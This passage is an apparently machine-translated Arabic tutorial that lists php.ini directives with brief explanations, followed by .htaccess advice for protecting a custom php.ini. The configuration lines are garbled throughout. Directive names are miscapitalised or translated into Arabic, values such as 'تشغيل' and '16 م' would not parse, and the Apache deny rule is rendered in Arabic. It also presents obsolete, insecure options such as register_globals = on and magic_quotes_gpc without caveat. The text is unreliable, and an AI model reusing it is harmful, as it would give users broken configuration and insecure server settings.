Safe_mode_protected_env_vars = LD_LIBRARY_PATH ، يحظر تغيير المتغيرات المدرجة مفصولة بفواصل.

Disable_functions =؛ بعد علامة "المساواة" ، تحتاج إلى تدوين الوظائف التي تريد تعطيلها ، مفصولة بفاصلة (عادةً ما يتم ذلك من أجل الأمان)

disable_classes = ؛ بعد علامة "المساواة" ، تحتاج إلى كتابة الفئات التي تريد حظر الاتصال بها ، مفصولة بفاصلة (عادةً ما يتم ذلك من أجل السلامة)

حد الموارد

max_execution_time = 40 ؛ أقصى وقت لتنفيذ البرنامج النصي (بالثواني)

Max_input_time = 40 ؛ الحد الأقصى للوقت بالثواني الذي يُسمح فيه للبرنامج النصي بمعالجة البيانات التي يتم تحميلها.

Memory_limit = 16 م ؛ الحد الأقصى للذاكرة المخصصة لتشغيل برنامج نصي واحد

معالجة الأخطاء والسجلات

error_reporting = E_ALL | E_ERROR | تحذير | E_PARSE | E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_COMPILE_WARNING | E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE ، تحدد قائمة الأخطاء التي يمكن إخراجها.

display_errors = تشغيل ؛ يسمح بإخراج الأخطاء مباشرة إلى المتصفح (غالبًا ما يستخدم في تصحيح الأخطاء).

display_startup_errors = تشغيل ؛ يُسمح بإظهار أخطاء بدء تشغيل PHP.

log_errors = on؛ يُسمح بكتابة الأخطاء في ملف السجل.

log_errors_max_len = 1024 ، الحد الأقصى لعدد الأحرف يمكن أن يكون طول السجل.

Track_errors = تشغيل ؛ سيتم تخزين أحدث رسالة خطأ في المتغير $ php_errormsg

html_errors = تشغيل ؛ رسائل الخطأ مسموح بها في HTML.

error_log = اسم الملف ؛ يحدد اسم سجل الأخطاء.

معالجة البيانات

المتغيرات_الترتيب = "EGPCS" ؛ يضبط الترتيب الذي ستسجل به PHP المتغيرات (المتغيرات المضمنة E ، متغيرات G - GET ، متغيرات P - POST ، C - ملفات تعريف الارتباط ، S - الجلسات). إذا قمت بإزالة أي من الحروف ، فسيتم حظر عمل المتغيرات المقابلة.

Register_globals = تشغيل ؛ يُمكّن القدرة على الوصول إلى المتغيرات التي تأتي عبر GET / POST / Cookie / session كمتغيرات عادية (مثل "$ variablename").

Register_argc_argv = تشغيل ؛ يُسمح بإنشاء متغيري $ argv و $ argc بناءً على معلومات من طريقة GET.

Post_max_size = 8 م ؛ يضبط الحد الأقصى لمقدار البيانات التي يمكن تلقيها.

Magic_quotes_gpc = تشغيل ؛ يتيح المعالجة التلقائية لعروض الأسعار الواردة عبر POST / GET / Cookie.

Auto_prepend_file = ؛ يجب معالجة محتويات الملفات المحددة في هذه التوجيهات بواسطة PHP وفقًا لذلك قبل تنفيذ البرنامج النصي.
auto_append_file = ؛ يجب التعامل مع محتويات الملفات المحددة في هذه التوجيهات وفقًا لذلك بواسطة PHP بعد تنفيذ البرنامج النصي.

Default_mimetype = "text / html" ؛ يضبط الترميز لنوع المحتوى. سيكون الإعداد الافتراضي هو text / html بدون تشفير.

Doc_root = ؛ يضبط المجلد الجذر لنصوص PHP.

Extension_dir = "./" ؛ يحدد المجلد حيث سيتم تخزين الامتدادات المحملة ديناميكيًا.

تحميل الملف

file_uploads = تشغيل ؛ يسمح بتحميل الملفات على الخادم.

Upload_tmp_dir = ؛ دليل مؤقت للملفات التي يتم تحميلها.

Upload_max_filesize = 2M ؛ يعيّن الحد الأقصى لحجم الملف الذي يمكن تحميله.

العمل مع المقابس

user_agent = "PHP" ؛ يتم تعيين المتغير USER_AGENT عند حدوث اتصال مأخذ.

default_socket_timeout = 30 ؛ الحد الأقصى لوقت الاستماع على المقبس (بالثواني).

الجلسات

session.save_handler = ملفات ؛ يحدد أنه يجب تخزين معلومات الجلسة في ملفات

session.save_path = / tmp ؛ بعد علامة "المساواة" ، تحتاج إلى تحديد المسار إلى المجلد الذي سيتم فيه تخزين المعلومات حول الجلسات (من المهم أن يكون هذا المجلد موجودًا بالفعل)

session.use_cookies = 1 ؛ يسمح باستخدام ملفات تعريف الارتباط في الجلسات

session.name = PHPSESSID ؛ يشير إلى استخدام اسم الجلسة وملف تعريف ارتباط الجلسة - معرف الجلسة

session.cookie_lifetime = 0 ؛ مدة الجلسة (تعني "0" أن الجلسة سارية حتى يتم إغلاق نافذة المتصفح)

session.use_trans_sid = 1 ؛ إذا قام المستخدم بتعطيل ملفات تعريف الارتباط ، فسيتم إضافة معرف الجلسة إلى جميع الروابط

ملحقات ديناميكية

التمديد = modulename.extension ؛ يمكن استخدامها لتحميل الوحدات الخارجية. بالنسبة لأنظمة Windows ، يكتبون عادةً - extension = msql.dll وللملفات
UNIX - التمديد = msql.so

العمل مع وحدات MySQL

mysql.allow_persistent = تشغيل ؛ السماح باتصالات MySQL المستمرة.

mysql.max_persistent = -1 ؛ يحدد الحد الأقصى لعدد اتصالات MySQL المستقرة. إذا حددت -1 ، فهذا يعني أنه لا توجد قيود.

mysql.max_links = -1 ؛ يحدد الحد الأقصى لعدد اتصالات MySQL المستقرة واتصالات ODBC غير المستقرة. إذا حددت -1 ، فهذا يعني أنه لا توجد قيود.

mysql.default_port = ؛ منفذ لوظيفة mysql_connect.

mysql.default_socket = ؛ اسم المقبس لاتصالات MySQL المحلية.

mysql.default_host = ؛ اسم المضيف لوظيفة mysql_connect.

mysql.default_user = ؛ اسم المستخدم.

mysql.default_password = ؛ كلمة المرور.

إذا كنت قد أنشأت ملف php.ini الخاص بك ووضعته في مجلد الموقع

في هذه الحالة ، ولأسباب أمنية ، تحتاج إلى حظر الوصول إليها للجميع ما عداك. للقيام بذلك ، تحتاج إلى كتابة التعليمات البرمجية التالية في ملف .htaccess:


أمر يسمح ، يرفض
رفض من الجميع

لكن كن حذرا ، لأن. باستخدام هذه الإعدادات ، ستتوقف جميع التوجيهات (php_value ، php_flag ، إلخ) المتعلقة بإعدادات php من خلال ملف htaccess عن العمل (سيتم إنشاء 500 خطأ خادم داخلي).

مهم! إذا قمت بإنشاء ملف php.ini الخاص بك ، فسيؤثر ذلك فقط على الدليل الموجود فيه.